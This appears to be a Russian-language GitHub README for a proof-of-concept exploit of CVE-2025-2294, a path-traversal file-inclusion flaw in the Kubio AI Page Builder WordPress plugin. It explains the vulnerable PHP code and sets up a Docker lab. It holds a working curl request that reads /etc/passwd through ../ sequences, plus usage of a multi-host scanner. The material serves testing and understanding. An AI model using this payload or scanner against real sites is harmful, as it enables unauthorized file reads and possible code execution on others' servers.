iteride/cve-2025-2294Эксплойт доказательства концепции для CVE-2025-2294, критической уязвимости LFI в Kubio AI Page Builder для WordPress. Включает Python-сканер, шаблон nuclei и Docker-лабораторию для тестирования.
CVE-2025-2294 — критическая уязвимость типа Local File Inclusion (LFI) в плагине Kubio AI Page Builder для WordPress. Уязвимость позволяет неаутентифицированному удалённому злоумышленнику передать специально сформированный параметр, из-за чего плагин может включить произвольный файл на сервере; при наличии включаемого PHP-файла это может привести к удалённому выполнению кода (RCE).
kubio/wp-content/plugins/kubio/cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal).
__kubio-site-edit-iframe-classic-template.wp-config.php, приватные ключи, логи).Уязвимый код связан с функцией kubio_hybrid_theme_load_template(), которая обращается к глобальному массиву $_REQUEST:
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
$new_template = locate_template([$template_id]);
if ($new_template !== '') {
return $new_template;
}
}
Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — берёт значение прямо из глобального набора входных данных ($_REQUEST объединяет $_GET, $_POST, $_COOKIE). `Это означает, что параметр управляем удалённо.
Если параметр присутствует ($template_id истинно), код вызывает locate_template([$template_id]).
locate_template() — WordPress-утилита (или аналог в плагине) для поиска шаблонов по переданному относительному пути/имени. В нормальном сценарии ожидалось, что туда будут передаваться имена файлов внутри безопасного каталога шаблонов, например header.php или template-parts/content.php.
Возвращаемое значение ($new_template) затем используется — в исходной реализации это может привести к include/require найденного пути, либо к передаче этого пути дальше для вывода.Это создаёт возможность LFI: злоумышленник может указать путь к произвольному файлу.
git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
docker exec -it <WORDPRESS_DOCKER_ID> bash
Для запуска после распаковки перейдите в http://localhost:8080/wp-admin/plugins.php и активируйте плагин
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'
__kubio-site-edit-iframe-classic-template=<path>
Этот параметр передаёт строку, которую плагин использует как идентификатор/путь шаблона.
В уязвимом фрагменте кода значение берётся из $_REQUEST и передаётся в locate_template() без предварительной нормализации или ограничения. В результате возможен path traversal: если в значение вставить последовательности ../, итоговый путь может выйти за пределы ожидаемой директории шаблонов и указывать на любой файл на файловой системе (в том числе /etc/passwd).
Именно этот параметр несёт полезную нагрузку атаки — с его помощью атакующий указывает целевой файл.
__kubio-site-edit-iframe-preview=1
Это служебный флаг (режим предпросмотра / iframe-edit mode). Он переключает обработку запроса в кодовую ветку, где считывается и используется шаблон, заданный в __kubio-site-edit-iframe-classic-template.
Без preview=1 плагин мог бы не обрабатывать параметр classic-template или использовать другую логику; с preview=1 включается логика, которая допускает чтение и возвращение шаблона, что делает возможным эксплуатацию.
/wp-content/plugins/kubio/readme.txt.
Скрипт проверяет вывод /etc/passwd но в разы быстрее чем nuclei благодаря многопоточности,а также поддерживает скан сразу нескольких хостов
python3 scan.py --target http://localhost:8080
